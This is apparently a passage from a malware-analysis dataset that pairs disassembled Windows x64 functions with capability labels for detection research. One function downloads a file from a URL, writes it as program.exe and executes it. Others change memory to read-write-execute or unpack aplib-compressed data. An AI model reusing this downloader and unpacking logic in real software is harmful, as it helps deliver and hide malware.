joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11002bd90
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x30]
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r13
mov r10d, dword [rdx]
mov ebx, dword [rdx + 4]
mov eax, 0xffffffff
add eax, 1
mov r8d, eax
mov r9d, r10d
xor r9d, dword [rcx + r8*4 + 8]
mov r10d, r9d
mov r8d, r10d
mov r9d, r8d
and r9d, 0xff
shr r8d, 8
mov esi, r8d
and esi, 0xff
shr r8d, 8
mov edi, r8d
and edi, 0xff
shr r8d, 8
and r8d, 0xff
lea r12, [rcx + 0x50]
and r8d, 0xff
and edi, 0xff
mov r13d, dword [r12 + r8*4]
mov r8d, dword [r12 + rdi*4 + 0x400]
add r8d, r13d
mov edi, r8d
and esi, 0xff
xor edi, dword [rcx + rsi*4 + 0x850]
mov r8d, edi
mov esi, r8d
and r9d, 0xff
add esi, dword [rcx + r9*4 + 0xc50]
mov r8d, esi
xor r8d, ebx
mov ebx, r8d
mov r11d, r10d
mov r10d, ebx
mov ebx, r11d
cmp eax, 0xf
jl 0x11002bdb8
xor r10d, dword [rcx + 0x48]
xor ebx, dword [rcx + 0x4c]
mov dword [rdx], ebx
mov dword [rdx + 4], r10d
mov rbx, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
mov r12, qword [rbp - 0x10]
mov r13, qword [rbp - 8]
lea rsp, [rbp]
pop rbp
ret

Function at 0x11002be90
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x30]
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r13
mov r10d, dword [rdx]
mov ebx, dword [rdx + 4]
mov eax, 0x12
sub eax, 1
mov r8d, eax
mov r9d, r10d
xor r9d, dword [rcx + r8*4 + 8]
mov r10d, r9d
mov r8d, r10d
mov r9d, r8d
and r9d, 0xff
shr r8d, 8
mov esi, r8d
and esi, 0xff
shr r8d, 8
mov edi, r8d
and edi, 0xff
shr r8d, 8
and r8d, 0xff
lea r12, [rcx + 0x50]
and r8d, 0xff
and edi, 0xff
mov r13d, dword [r12 + r8*4]
mov r8d, dword [r12 + rdi*4 + 0x400]
add r8d, r13d
mov edi, r8d
and esi, 0xff
xor edi, dword [rcx + rsi*4 + 0x850]
mov r8d, edi
mov esi, r8d
and r9d, 0xff
add esi, dword [rcx + r9*4 + 0xc50]
mov r8d, esi
xor r8d, ebx
mov ebx, r8d
mov r11d, r10d
mov r10d, ebx
mov ebx, r11d
cmp eax, 2
jg 0x11002beb8
xor r10d, dword [rcx + 0xc]
xor ebx, dword [rcx + 8]
mov dword [rdx], ebx
mov dword [rdx + 4], r10d
mov rbx, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
mov r12, qword [rbp - 0x10]
mov r13, qword [rbp - 8]
lea rsp, [rbp]
pop rbp
ret
Function at 0x11003a830
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x2b0]
mov qword [rbp - 0x290], rbx
mov qword [rbp - 0x288], rdi
mov qword [rbp - 0x280], rsi
mov qword [rbp - 8], rcx
mov byte [rbp - 0x10], dl
mov bl, r8b
lea rdx, [0x11006ffd0]
lea rcx, [rbp - 0x278]
call fcn.11000db70
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
jne 0x11003a87f
lea rcx, [0x1100914b0]
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
jne 0x11003a8c2
call sub.kernel32.dll_GetLastError
cmp eax, 0xa1
jbe 0x11003a89d
clc
jmp 0x11003a8a4
bt dword [0x11006f298], eax
jb 0x11003a8ba
mov rcx, rbp
call fcn.11003a970
test al, al
je 0x11003a8ba
mov dil, 1
jmp 0x11003a940
xor dil, dil
jmp 0x11003a940
mov eax, esi
and eax, 0x10
movzx ecx, byte [rbp - 0x10]
lea rdx, [0x110060ff0]
cmp eax, dword [rdx + rcx*4]
sete dil
and bl, dil
je 0x11003a940
and esi, 0x400
je 0x11003a940
lea rbx, [rbp - 0x278]
lea rdx, [0x11006ffd0]
mov rcx, rbx
call fcn.11000dc60
mov rdx, rbx
mov rcx, qword [rbp - 8]
xor r8b, r8b
call fcn.11003a460
test eax, eax
je 0x11003a91c
sub eax, 1
je 0x11003a934
jmp 0x11003a93c
mov dl, byte [rbp - 0x10]
mov rcx, qword [rbp - 0x278]
xor r8b, r8b
call fcn.11003a830
mov dil, al
jmp 0x11003a940
mov dil, 1
jmp 0x11003a940
xor dil, dil
nop
nop
mov rcx, rbp
call fcn.11003a800
mov al, dil
mov rbx, qword [rbp - 0x290]
mov rdi, qword [rbp - 0x288]
mov rsi, qword [rbp - 0x280]
lea rsp, [rbp]
pop rbp
ret

Function at 0x11003ab40
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x50]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r13
mov rsi, rcx
mov edi, edx
mov r12d, r8d
mov r13, r9
mov qword [rbp - 8], 0
nop
mov edx, r12d
mov ecx, edi
xor r9d, r9d
xor r8, r8
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
test ebx, ebx
jle 0x11003abc1
movsxd rdx, ebx
sub rdx, 1
lea rcx, [rbp - 8]
call fcn.11000a490
cmp ebx, 1
jle 0x11003abb0
mov r8, qword [rbp - 8]
mov r9d, ebx
mov edx, r12d
mov ecx, edi
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
nop
mov rcx, rsi
mov rdx, qword [rbp - 8]
xor r8d, r8d
call fcn.110009cd0
jmp 0x11003abcc
mov rcx, rsi
mov rdx, r13
call fcn.1100072e0
nop
mov rcx, rbp
call fcn.11003ab20
mov rbx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
mov r13, qword [rbp - 0x10]
lea rsp, [rbp]
pop rbp
ret
Function at 0x11003b090
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x60]
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0
nop
xor ebx, ebx
nop dword [rax]
add ebx, 1
mov eax, ebx
lea rdx, [0x11019b980]
lea rcx, [rdx + rax*8 - 8]
xor edx, edx
call fcn.1100072e0
mov eax, ebx
lea rdx, [0x11019b9c0]
mov dword [rdx + rax*4 - 4], 0xffffffff
cmp ebx, 7
jl 0x11003b0b0
call sub.kernel32.dll_GetThreadLocale
mov esi, eax
lea r8, [rbp - 0xc]
mov ecx, esi
mov r9d, 0xb
mov edx, 0x100b
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x11003b164
nop
mov byte [rsp + 0x20], 1
lea rdx, [rbp - 0xc]
xor r9d, r9d
mov r8d, 0xa
lea rcx, [rbp - 0x18]
call fcn.110007ea0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.11002fec0
mov ebx, eax
sub eax, 3
cmp eax, 3
jae 0x11003b164
lea rcx, [0x11003af30]
mov r8d, ebx
mov edx, esi
mov r9d, 4
call sub.kernel32.dll_EnumCalendarInfoA
lea rcx, [0x11003afe0]
mov r8d, ebx
mov edx, esi
mov r9d, 3
call sub.kernel32.dll_EnumCalendarInfoA
nop dword [rax]
nop
mov rcx, rbp
call fcn.11003b070
mov rbx, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
lea rsp, [rbp]
pop rbp
ret

Function at 0x11003b840
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x70]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r13
mov rbx, rcx
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
lea rcx, [rbp - 0x18]
call fcn.11002f930
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 8]
call fcn.1100072e0
lea rcx, [rbp - 8]
mov r8b, 1
mov edx, 1
call fcn.110008d40
mov rcx, rbx
xor edx, edx
call fcn.1100072e0
call sub.kernel32.dll_GetEnvironmentStringsA
mov rsi, rax
mov rdi, rsi
jmp 0x11003b985
mov rdx, rdi
lea rcx, [rbp - 0x10]
xor r8d, r8d
call fcn.110007dd0
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x11003b8ec
mov rax, qword [rax - 8]
mov r13d, eax
lea rcx, [rbp - 0x10]
xor r8b, r8b
mov edx, 1
call fcn.110008d40
mov rdx, qword [rbp - 0x10]
mov r8d, 1
mov ecx, 0x3d
call fcn.110008530
mov r12d, eax
movsxd r9, eax
sub r9, 1
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, [rbp - 0x28]
call fcn.110008380
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x20]
call fcn.11002f930
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 8]
call fcn.110008060
test rax, rax
jne 0x11003b978
mov r9, qword [rbp - 0x10]
test r9, r9
je 0x11003b95d
mov r9, qword [r9 - 8]
movsxd rax, r12d
sub r9, rax
movsxd rax, r12d
lea r8, [rax + 1]
mov rcx, rbx
mov rdx, qword [rbp - 0x10]
call fcn.110008380
jmp 0x11003b98e
movsxd rax, r13d
add rax, rdi
add rax, 1
mov rdi, rax
cmp byte [rdi], 0
jne 0x11003b8d0
mov rcx, rsi
call sub.kernel32.dll_FreeEnvironmentStringsA
nop
mov rcx, rbp
call fcn.11003b800
mov rbx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
mov r12, qword [rbp - 0x38]
mov r13, qword [rbp - 0x30]
lea rsp, [rbp]
pop rbp
ret
Function at 0x11003ba00
Capabilities:
Check os version

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0xc0]
mov qword [0x11019ba00], 0
mov dword [rbp - 0x94], 0x94
lea rcx, [rbp - 0x94]
call sub.kernel32.dll_GetVersionExA
mov eax, dword [rbp - 0x84]
mov dword [0x11019b840], eax
mov eax, dword [rbp - 0x90]
mov dword [0x11019b850], eax
mov eax, dword [rbp - 0x8c]
mov dword [0x11019b860], eax
mov eax, dword [rbp - 0x88]
mov dword [0x11019b870], eax
lea rdx, [0x11019b881]
lea rcx, [rbp - 0x80]
mov r8d, pe_nt_image_headers64
call fcn.110002890
lea rcx, [rbp - 0x80]
call fcn.110003a80
mov byte [0x11019b880], al
lea rcx, str.kernel32
call sub.kernel32.dll_GetModuleHandleA
mov qword [0x11019ba10], rax
test rax, rax
je 0x11003bab4
mov rcx, qword [0x11019ba10]
lea rdx, str.GetDiskFreeSpaceExA
call sub.kernel32.dll_GetProcAddress
mov qword [0x11019ba00], rax
cmp dword [0x11019b850], 6
jae 0x11003bac8
mov dword [0x110060260], 0
nop
cmp dword [0x11019b850], 6
jb 0x11003bae4
cmp dword [0x11019b860], 1
jb 0x11003bae4
mov dword [0x110060270], 2
nop
lea rsp, [rbp]
pop rbp
ret

Function at 0x11003c4b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x80]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x20]
lea rsi, [rdx + 1]
mov rbx, rax
mov rcx, rsi
call fcn.11000f300
mov rdi, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.110002890
mov qword [rbp - 0x10], rdi
nop
mov dword [rsp + 0x20], 4
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 8]
mov r9d, 0x3000
xor edx, edx
call fcn.11004e980
mov rdx, qword [rbp + 0x30]
mov qword [rdx], rax
mov rax, qword [rbp + 0x30]
cmp qword [rax], 0
jne 0x11003c53c
mov byte [rbp - 0x24], 0
jmp 0x11003c5b0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r8, qword [rbp - 0x10]
mov r9d, dword [rbp - 0x18]
mov rax, qword [rbp + 0x30]
mov rdx, qword [rax]
mov rcx, qword [rbp - 8]
call fcn.11004e9c0
test eax, eax
je 0x11003c575
mov rax, qword [rbp - 0x30]
cmp rax, qword [rbp - 0x18]
setne al
and eax, 0xff
neg eax
je 0x11003c57c
mov byte [rbp - 0x24], 0
jmp 0x11003c5b0
lea rax, [rbp - 0x34]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x30]
mov rdx, qword [rax]
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 8]
mov r9d, 0x40
call fcn.11004e990
test eax, eax
jne 0x11003c5ac
mov byte [rbp - 0x24], 0
jmp 0x11003c5b0
mov byte [rbp - 0x24], 1
nop
mov rcx, rbp
call dbg.fin$00000008
mov al, byte [rbp - 0x24]
mov rbx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
lea rsp, [rbp]
pop rbp
ret
Function at 0x11003c5d0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x520]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], r8
mov qword [rbp - 0x20], r9
lea rax, [rbp - 0x498]
xor r8d, r8d
mov edx, 0x60
mov rcx, rax
call fcn.110002b90
lea rcx, [rbp - 0x4b0]
xor r8d, r8d
mov edx, 0x18
call fcn.110002b90
mov dword [rbp - 0x498], 0x60
lea rdx, [rbp - 0x434]
mov r8d, 0x104
lea rcx, str.WINDIR
call fcn.11004e9f0
test eax, eax
jne 0x11003c648
mov byte [rbp - 0x24], 0
jmp 0x11003c74b
lea rax, [rbp - 0x434]
mov qword [rbp - 0x4c8], rax
mov qword [rbp - 0x4d0], 6
mov rax, qword [rbp - 8]
mov qword [rbp - 0x4b8], rax
mov qword [rbp - 0x4c0], 6
lea r8, [rbp - 0x4d0]
lea rcx, [rbp - 0x22c]
mov r9d, 1
lea rdx, str._sSystem32_s
call fcn.110031580
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x4b0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x498]
mov qword [rsp + 0x40], rax
lea rdx, [rbp - 0x22c]
xor r9, r9
xor r8, r8
xor ecx, ecx
call fcn.11004e9e0
test eax, eax
jne 0x11003c6f0
mov byte [rbp - 0x24], 0
nop dword [rax]
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 0x4a0]
mov dword [rax], edx
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x4b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp - 0x4a8]
mov qword [rax], rdx
mov rax, qword [rbp - 0x18]
mov edx, dword [rbp - 0x49c]
mov dword [rax], edx
mov rax, qword [rbp - 0x10]
cmp dword [rax], 0
je 0x11003c747
mov rax, qword [rbp - 0x20]
cmp qword [rax], 0
je 0x11003c747
mov rax, qword [rbp + 0x30]
cmp qword [rax], 0
je 0x11003c747
mov byte [rbp - 0x24], 1
jmp 0x11003c74b
mov byte [rbp - 0x24], 0
mov al, byte [rbp - 0x24]
nop
lea rsp, [rbp]
pop rbp
ret

Function at 0x11004beb0
Capabilities:
Connect socket

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x20]
movsxd rcx, ecx
call sub.ws2_32.dll_connect
nop
lea rsp, [rbp]
pop rbp
ret

Function at 0x11004e9e0
Capabilities:
Create process on windows

Disassembly:
jmp qword [sym.imp.kernel32.dll_CreateProcessA]
jmp 0x110001500
Function at 0x140011311
Capabilities:
Terminate process

Disassembly:
jmp 0x140016280
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113e8
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400175d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400175f0
xor al, al
jmp 0x140017671
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017603
xor al, al
jmp 0x140017671
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001762d
xor al, al
jmp 0x140017671
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017641
xor al, al
jmp 0x140017671
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017653
xor al, al
jmp 0x140017671
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001766f
xor al, al
jmp 0x140017671
mov al, 1
add rsp, 0x38
ret
Function at 0x140011604
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
jmp 0x1400134e0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1748
call fcn.140011104
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x442
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1768]
mov rax, qword [0x140022040]
xor rax, rbp
mov qword [rbp + 0x16f8], rax
lea rcx, [0x1400280f4]
call fcn.140011591
lea rdx, str.program.exe
lea rcx, [rbp + 8]
call fcn.140011262
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x1400136a0
mov rcx, qword [rbp + 0x1720]
call fcn.140011087
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x140013696
lea rcx, [rbp + 8]
call fcn.140011087
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
je 0x14001368c
lea r9, [rbp + 0x10c4]
mov r8d, 0x1000
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140013650
cmp dword [rbp + 0x10c4], 0
jbe 0x140013650
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x10e4]
mov r8d, dword [rbp + 0x10c4]
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1400135f8
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 8]
call fcn.140011087
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 8]
call fcn.14001110e
lea rcx, [rbp - 0x40]
lea rdx, [0x14001def0]
call fcn.1400114ab
mov rcx, qword [rbp + 0x16f8]
xor rcx, rbp
call fcn.1400112ad
lea rsp, [rbp + 0x1708]
pop rdi
pop rbp
ret
Function at 0x1406e1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406e11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406e1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e106f
add dl, dl
jne 0x1406e1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e10f6
xor eax, eax
add dl, dl
jne 0x1406e10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406e11ad
add dl, dl
jne 0x1406e10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406e10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406e107e
mov eax, 1
add dl, dl
jne 0x1406e1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406e1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e10fb
sub eax, ebx
mov ebx, 1
jne 0x1406e114c
mov ecx, 1
add dl, dl
jne 0x1406e112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406e113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406e1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406e1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406e115d
cmp eax, 0x7d00
jae 0x1406e119b
cmp eax, 0x500
jb 0x1406e1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e107e
cmp eax, 0x7f
ja 0x1406e119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406e107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406e11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406e107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002f20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400049f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400049f0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002f90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x1400030c0
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002fdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003065
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002fc0
mov rcx, rbx
call fcn.1400039e0
mov rdi, rax
test rax, rax
je 0x1400030e2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003b20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400030c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000305e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003070
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000305e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002f20
nop dword [rax]
xor esi, esi
jmp 0x140002fe8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002f20
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002f20
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003650
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x1400036ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400036a3
test rsi, rsi
je 0x1400036a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003688
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400039e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006a50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003a00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003a08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003a00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003a5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003a54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003a00
add rax, 0x28
cmp rax, r9
jne 0x140003a40
xor eax, eax
ret

Function at 0x140003a60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006a50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003a7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003a88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003a7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003b20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006a50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003b3f
